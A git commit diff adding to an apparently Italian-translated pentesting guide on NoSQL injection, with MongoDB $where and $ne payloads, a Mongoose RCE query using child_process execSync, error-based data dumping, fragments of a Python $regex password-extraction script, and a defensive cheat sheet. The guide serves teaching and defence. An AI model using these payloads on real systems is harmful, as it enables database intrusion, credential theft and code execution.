Translated ['src/pentesting-web/nosql-injection.md'] to it

This commit is contained in:
Translator 2025-08-14 00:38:34 +00:00
parent c8f9410edc
commit 9c5ea2cbb0

View File

@ -4,7 +4,7 @@
## Exploit
In PHP puoi inviare un Array cambiando il parametro inviato da _parameter=foo_ a _parameter\[arrName]=foo._
In PHP puoi inviare un Array cambiando il parametro inviato da _parameter=foo_ a _parameter[arrName]=foo._
Gli exploit si basano sull'aggiunta di un **Operatore**:
```bash
@ -114,6 +114,40 @@ Inietta `throw new Error(JSON.stringify(this))` in una clausola `$where` per esf
```json
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
```
## Recent CVEs & Real-World Exploits (2023-2025)
### Rocket.Chat unauthenticated blind NoSQLi CVE-2023-28359
Le versioni ≤ 6.0.0 esponevano il metodo Meteor `listEmojiCustom` che inoltrava un oggetto **selector** controllato dall'utente direttamente a `find()`. Iniettando operatori come `{"$where":"sleep(2000)||true"}` un attaccante non autenticato poteva costruire un oracolo di temporizzazione ed esfiltrare documenti. Il bug è stato corretto nella 6.0.1 validando la forma dello selector e rimuovendo operatori pericolosi.
### Mongoose `populate().match` `$where` RCE CVE-2024-53900 & CVE-2025-23061
Quando `populate()` viene utilizzato con l'opzione `match`, Mongoose (≤ 8.8.2) copiava l'oggetto parola per parola *prima* di inviarlo a MongoDB. Fornire `$where` quindi eseguiva JavaScript **all'interno di Node.js** anche se JS lato server era disabilitato su MongoDB:
```js
// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id')
Post.find()
.populate({ path: 'author', match: req.query.author }); // RCE
```
Il primo patch (8.8.3) ha bloccato `$where` di primo livello, ma annidarlo sotto `$or` ha eluso il filtro, portando a CVE-2025-23061. Il problema è stato completamente risolto in 8.9.5, e una nuova opzione di connessione `sanitizeFilter: true` è stata introdotta.
### Confusione tra GraphQL e filtro Mongo
I resolver che inoltrano `args.filter` direttamente in `collection.find()` rimangono vulnerabili:
```graphql
query users($f:UserFilter){
users(filter:$f){ _id email }
}
# variables
{ "f": { "$ne": {} } }
```
Mitigazioni: rimuovere ricorsivamente le chiavi che iniziano con `$`, mappare esplicitamente gli operatori consentiti o convalidare con librerie di schema (Joi, Zod).
## Defensive Cheat-Sheet (aggiornato 2025)
1. Rimuovere o rifiutare qualsiasi chiave che inizia con `$` (`express-mongo-sanitize`, `mongo-sanitize`, Mongoose `sanitizeFilter:true`).
2. Disabilitare JavaScript lato server su MongoDB self-hosted (`--noscripting`, predefinito in v7.0+).
3. Preferire `$expr` e costruttori di aggregazione invece di `$where`.
4. Convalidare i tipi di dati precocemente (Joi/Ajv) e non consentire array dove ci si aspetta scalari per evitare trucchi `[$ne]`.
5. Per GraphQL, tradurre gli argomenti di filtro attraverso una lista di autorizzazione; non espandere mai oggetti non attendibili.
## MongoDB Payloads
Elenco [da qui](https://github.com/cr0hn/nosqlinjection_wordlists/blob/master/mongodb_nosqli.txt)
@ -193,6 +227,7 @@ url = "http://example.com"
headers = {"Host": "exmaple.com"}
cookies = {"PHPSESSID": "s3gcsgtqre05bah2vt6tibq8lsdfk"}
possible_chars = list(string.ascii_letters) + list(string.digits) + ["\\"+c for c in string.punctuation+string.whitespace ]
def get_password(username):
print("Extracting password of "+username)
params = {"username":username, "password[$regex]":"", "login": "login"}
@ -225,9 +260,10 @@ for u in get_usernames(""):
get_password(u)
```
## Strumenti
- [https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration](https://github.com/an0nlk/Nosql-MongoDB-injection-username-password-enumeration)
- [https://github.com/C4l1b4n/NoSQL-Attack-Suite](https://github.com/C4l1b4n/NoSQL-Attack-Suite)
- [https://github.com/ImKKingshuk/StealthNoSQL](https://github.com/ImKKingshuk/StealthNoSQL)
- [https://github.com/Charlie-belmer/nosqli](https://github.com/Charlie-belmer/nosqli)
## Riferimenti
@ -236,5 +272,7 @@ get_password(u)
- [https://nullsweep.com/a-nosql-injection-primer-with-mongo/](https://nullsweep.com/a-nosql-injection-primer-with-mongo/)
- [https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb](https://blog.websecurify.com/2014/08/hacking-nodejs-and-mongodb)
- [https://sensepost.com/blog/2025/nosql-error-based-injection/](https://sensepost.com/blog/2025/nosql-error-based-injection/)
- [https://nvd.nist.gov/vuln/detail/CVE-2023-28359](https://nvd.nist.gov/vuln/detail/CVE-2023-28359)
- [https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900](https://www.opswat.com/blog/technical-discovery-mongoose-cve-2025-23061-cve-2024-53900)
{{#include ../banners/hacktricks-training.md}}